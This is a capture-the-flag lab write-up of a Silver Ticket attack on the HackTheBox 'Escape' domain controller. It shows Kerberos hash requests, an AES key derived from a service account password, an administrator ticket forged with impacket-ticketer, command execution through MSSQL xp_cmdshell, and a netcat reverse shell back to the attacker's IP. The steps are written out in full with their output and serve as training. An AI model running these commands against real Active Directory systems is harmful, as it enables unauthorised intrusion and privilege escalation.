Silver Ticket Attack (Forging TGS)


The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of service is owned (or AES hash of Kerberos key). Thus, it is possible to gain access to that service by forging a custom TGS as any user. It also must be taken into account that it is possible AND PREFERABLE (OPSEC) to forge tickets using the AES Kerberos keys (AES128 and AES256)

The current assessment is that the SQL credential returned from the NTLM relay attack appears to be a service account that is responsible for the MSSQL instance

┌──(kali㉿kali)-[~/archive/htb/labs/escape]
└─$ KRB5CCNAME=sql_svc.ccache impacket-GetUserSPNs sequel.htb/sql_svc -k -no-pass -dc-ip $IP -request                     
Impacket v0.11.0 - Copyright 2023 Fortra
 
No entries found!
 
┌──(kali㉿kali)-[~/archive/htb/labs/escape]
└─$ KRB5CCNAME=sql_svc.ccache impacket-GetUserSPNs sequel.htb/sql_svc -k -no-pass -dc-ip $IP -request -usersfile users.txt 
Impacket v0.11.0 - Copyright 2023 Fortra
 
[-] principal: Administrator - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: Guest - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$krbtgt$SEQUEL.HTB$*krbtgt*$9cd9f2eb460c10132759f1ad$9fe27ae4c3a91cd7e9b2e822d6f3728e3c40fb6178c8e73bf0c1a2d470b0159bec4111ace978a11c2c4aa6fab0dc677844236b5c746dd2d8c99c1706764cbe3bef7c0ece189a6fff25cd61e37ea95df1b0e9051c44981af38b9b840bc1e53f86dd8dcf202a49023fc6b897f36802ab578faab41ddce4dff3fd17b85e1d2f64811de4464210281e238d6bb9029d951bbb1844aa2f943370d5f1eb327c0b51aaf04160d1818fa33bf72456e6a6893210ec06ed555f46c3b830ca5b81885173eebc6ca54879cca101171ba5db1e4172cd51a714d3375fca1aa473d4bc41f889aacfe40ca736d4b1352c70ba787f3d72f5e4297836d188d385ffed22e5f0914029bf1d9cad199a1bd557e0d50194c18bc186088f9da001db34470d8fac554a31ba048655847a1b592ecc9179bbbabf1412a5d7f3ec90e7796970def94cafc2ef7ffd3b7e2c722582cb9acd20c0fa18ca31de3093387d3354269174c94c0bde424148013967e2608480a1be8326fa8465f2cfd5c331dbdb951acc7ce2143969e43d0dec5c5ef8e69bd315ec9f82760a90913a17a2a98cdac25706b7e57bb709b33729ce6490a429e7b00eb079d004c820c7eb38214dfa43fbb99888303a2f2f5e401fdb38345544649f47a1a8e707e40510feca72021e894702d8c65a0b8a4c9fc603459cd0f28250e1a2bf4c9d66680c758c403e02ec89bda83342ddb404a8db20e59ec2f2917b6921628b2dd16d487ad526cdf98b495d528f856a69fb1bd77ce0a782354a393ae0ed300ca5fe9470f0715eade9be6a8a53123b8016ff61629f7b7f924d6514c00dc562f0b19bd7a81ff85f942438a6520505ba76cbb38d212bd1d740b9b7e20061e5f175ac7c3a7dc8a7ef1996ddcb49dc3092c7dd64ae28de029988bdcbabd68dc7342d8c0b76917b1c514bfb26d3ea9fb1e07caa094c6a78739bd43a2f1136ed2345ecd5c3fd2c4e3c26b4074e99d980716cfa6a0268594a8d3f8b9ed512d058ecc4d63eae0dd3d481a9b4209b59068daaacf82c7f167908d9ed372bc47f188bf01a7ef617ea867ce449baffbf5a97c7521904751803e49859c3883b08b8e67575658a1a2e6c996e76dfb6c8db24c3b0e383d7b9c367088e906f9c7ae1f703181aaefbe9f9cef5c5188354dad239203665396bc8642ac1d6771084b8a1f1349698e48a215d5a251c5b8e7cd049e81f115c41ebc6358939b6dd82d7a9d1cc4f5876be5f248ff90c76d0ed0c0f30b12d9d7fae35961db933c7322193cdcaddc71a40dc00a938457b68dbd330d3ab7583953469ea902ac55054d70342ff9938d9ed8011c443fe3ec69eec9a0d5656acdf418c1cc6bda0c914238828a3cf4885425fde07ba042f52bcc1dbbfa949b3c962778b13b585d56febd90e5637cf2590288b76cbe03dd8ce698652f287b1b247f99957207b43
[-] principal: Tom.Henn - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: Brandon.Brown - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: Ryan.Cooper - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: sql_svc - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: James.Roberts - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: Nicole.Thompson - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal:  - Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

It appears that the service account, sql_svc, doesn’t have a Service Principal Name (SPN) set for the service and neither the rest of the domain users.. from the users.txt file

However, it may still be possible to perform theSilver_Ticket_Attack if the sql_svc user is indeed the service account that runs the MSSQL instance

┌──(kali㉿kali)-[~/archive/htb/labs/scrambled]
└─$ impacket-ticketer
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
 
usage: ticketer.py [-h] [-spn SPN] [-request] -domain DOMAIN -domain-sid DOMAIN_SID [-aesKey hex key] [-nthash NTHASH] [-keytab KEYTAB] [-groups GROUPS] [-user-id USER_ID]
                   [-extra-sid extra_sid] [-duration duration] [-ts] [-debug] [-user user] [-password password] [-hashes lmhash:NTHASH] [-dc-ip ip address]
                   target
 
Creates a Kerberos golden/silver tickets based on user options
 
positional arguments:
  target                username for the newly created ticket
 
options:
  -h, --help            show this help message and exit
  -spn SPN              SPN (service/server) of the target service the silver ticket will be generated for. if omitted, golden ticket will be created
  -request              Requests ticket to domain and clones it changing only the supplied information. It requires specifying -user
  -domain DOMAIN        the fully qualified domain name (e.g. contoso.com)
  -domain-sid DOMAIN_SID
                        Domain SID of the target domain the ticker will be generated for
  -aesKey hex key       AES key used for signing the ticket (128 or 256 bits)
  -nthash NTHASH        NT hash used for signing the ticket
  -keytab KEYTAB        Read keys for SPN from keytab file (silver ticket only)
  -groups GROUPS        comma separated list of groups user will belong to (default = 513, 512, 520, 518, 519)
  -user-id USER_ID      user id for the user the ticket will be created for (default = 500)
  -extra-sid EXTRA_SID  Comma separated list of ExtraSids to be included inside the ticket's PAC
  -duration DURATION    Amount of days till the ticket expires (default = 365*10)
  -ts                   Adds timestamp to every logging output
  -debug                Turn DEBUG output ON
 
authentication:
  -user USER            domain/username to be used if -request is chosen (it can be different from domain/username
  -password PASSWORD    password for domain/username
  -hashes lmhash:NTHASH
                        ntlm hashes, format is lmhash:NTHASH
  -dc-ip ip address     IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
 
examples: 
	./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
 
	will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.
	If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256
	(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as
	baduser.ccache.
 
	./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser
 
	will first authenticate against the KDC (using -user/-password) and get a TGT that will be used
	as template for customization. Whatever encryption algorithms used on that ticket will be honored,
	hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'
	and saved as baduser.ccache

tgs forging (silver ticket attack) is mostly done with Mimikatz or Rubeus on a Windows environment. But it can be done REMOTELY with the impacket’s ticketer tool from a remote Linux environment

it absolutely requires the following items:

  • <TARGET>
    • The administrator user is the target that will be impersonated
  • -spn
    • I will just attempt to put an arbitrary value to it since it’s not set in the first place
  • -domain
    • SEQUEL.HTB
  • -domain-sid
    • I got the domain SID from the MSRPC enumeration earlier;S-1-5-21-4078382237-1492182817-2568127209
  • -aesKey or -nthash
    • this requires a tool to get

The target service can be accessed with the forged TGS(Ticket Granting Service) Ticket

NTLM Hash or Kerberos Key(AES Hash)


While I can go with either NTLM hash or Kerberos key, I will go with Kerberos Key (AES Hash) for better OPSEC

┌──(kali㉿kali)-[~/…/htb/labs/escape/SilverTicket]
└─$ python3 aesKrbKeyGen.py -domain sequel.htb -user sql_svc -p REGGIE1234ronnie
[*] Salt: SEQUEL.HTBsql_svc
 
[+] AES256 Key: BCBBFF82091C7C6F9875261D3ADA97274D01B4A1F93CEB16E8154606E392A4AE
[+] AES128 Key: DECDDF91C717C5A5B84E112F576ECE3B

A Python script that I found online is used here to encrypt the CLEARTEXT password of the sqlsvc user with the FQDN of the domain as the salt to AES128/256 key I will grab one of those. Either one is fine

Execution


  • <target>: administrator
  • -spn; blahblah/dc.sequel.htb
  • -domain: SEQUEL
  • -domain-sid: S-1-5-21-4078382237-1492182817-2568127209
  • -aeskey: BCBBFF82091C7C6F9875261D3ADA97274D01B4A1F93CEB16E8154606E392A4AE
┌──(kali㉿kali)-[~/…/htb/labs/escape/SilverTicket]
└─$ impacket-ticketer administrator -spn blahblah/dc.sequel.htb -domain SEQUEL.HTB -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -aesKey BCBBFF82091C7C6F9875261D3ADA97274D01B4A1F93CEB16E8154606E392A4AE
Impacket v0.11.0 - Copyright 2023 Fortra
 
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for SEQUEL.HTB/administrator
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in administrator.ccache

Forging. sql_svc is a service account that runs the MSSQL instance. The command above forged a TGS (Ticket Granting Service) ticket for the administrator user that can be used to access the MSSQL Instance as the administrator user

┌──(kali㉿kali)-[~/…/htb/labs/escape/SilverTicket]
└─$ KRB5CCNAME=administrator.ccache impacket-mssqlclient @dc.sequel.htb -no-pass -k -dc-ip $IP                                   
Impacket v0.11.0 - Copyright 2023 Fortra
 
[*] Encryption required, switching to TLS
[*] envchange(database): Old Value: master, New Value: master
[*] envchange(language): Old Value: , New Value: us_english
[*] envchange(packetsize): Old Value: 4096, New Value: 16192
[*] info(dc\sqlmock): Line 1: Changed database context to 'master'.
[*] info(dc\sqlmock): Line 1: Changed language setting to us_english.
[*] ack: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL> 

I have successfully authenticated to the MSSQL instance as the administarator user

MSSQL


SQL> enable_xp_cmdshell
[*] INFO(DC\SQLMOCK): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC\SQLMOCK): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
 
SQL> xp_cmdshell whoami
output           
--------------   
sequel\sql_svc   
 
NULL

Interestingly, it still shows that commands runs as the sql_svc user when executed through the built-in MSSQL function, xp_cmdshell

SQL> SELECT * FROM OPENROWSET(BULK N'C:/Users/Administrator/Desktop/root.txt', SINGLE_CLOB) AS Contents
BulkColumn                                
---------------------------------------   
b'96fb94c9e09fdfe07f8006e8f1c65b09\r\n'   
 
SQL> SELECT name from master..syslogins
name                                      
---------------------------------------   
sa                                        
 
##MS_SQLResourceSigningCertificate##      
##MS_SQLReplicationSigningCertificate##   
##MS_SQLAuthenticatorCertificate##        
##MS_PolicySigningCertificate##           
##MS_SmoExtendedSigningCertificate##      
##MS_PolicyEventProcessingLogin##         
##MS_PolicyTsqlExecutionLogin##           
##MS_AgentSigningCertificate##            
sequel\Administrator                      
NT SERVICE\SQLWriter                      
NT SERVICE\Winmgmt                        
NT Service\MSSQL$SQLMOCK                  
BUILTIN\Users                             
NT AUTHORITY\SYSTEM                       
NT SERVICE\SQLTELEMETRY$SQLMOCK           
PublicUser                                
 
SQL> SELECT is_srvrolemember('sysadmin');
 
-   
1   

That’s because the sql_svc user is still running the MSSQL service. It is just able to negotiate with the host system to read file as the administrator user because it has the TGT.

*Evil-WinRM* PS C:\tmp> copy \\10.10.14.20\smb\nc64.exe C:\tmp\nc64.exe
SQL> xp_cmdshell "copy \\10.10.14.20\smb\nc64.exe C:\nc64.exe"
output                                                                             
--------------------------------------------------------------------------------   
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.   
 
NULL                                                                               

File transfer over SMB through the xp_cmdshell function seems to be restricted due to the complex access control (auth as administrator, but process runs as svc_sql + OS command through the MSSQL instance)

*Evil-WinRM* PS C:\tmp> copy \\10.10.14.20\smb\nc64.exe C:\tmp\nc64.exe

I will just use the established PowerShell session to transfer Netcat over SMB

SQL> xp_cmdshell "C:\tmp\nc64.exe 10.10.14.20 8888 -e powershell"

Reverse shell

┌──(kali㉿kali)-[~//htb/labs/escape/SilverTicket]
└─$ nnc 8888
listening on [any] 8888 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.202] 56183
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.
 
PS C:\Windows\system32> whoami
whoami
sequel\sql_svc
PS C:\Windows\system32> hostname
hostname
dc
PS C:\Windows\system32> ipconfig
ipconfig
 
Windows IP Configuration
 
 
Ethernet adapter Ethernet0 2:
 
   Connection-specific DNS Suffix  . : htb
   IPv6 Address. . . . . . . . . . . : dead:beef::21c
   IPv6 Address. . . . . . . . . . . : dead:beef::31e1:eb54:2784:d5cd
   Link-local IPv6 Address . . . . . : fe80::31e1:eb54:2784:d5cd%4
   IPv4 Address. . . . . . . . . . . : 10.10.11.202
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:f330%4
                                       10.10.10.2

PowerShell session established as the ELEVATED sql_svc user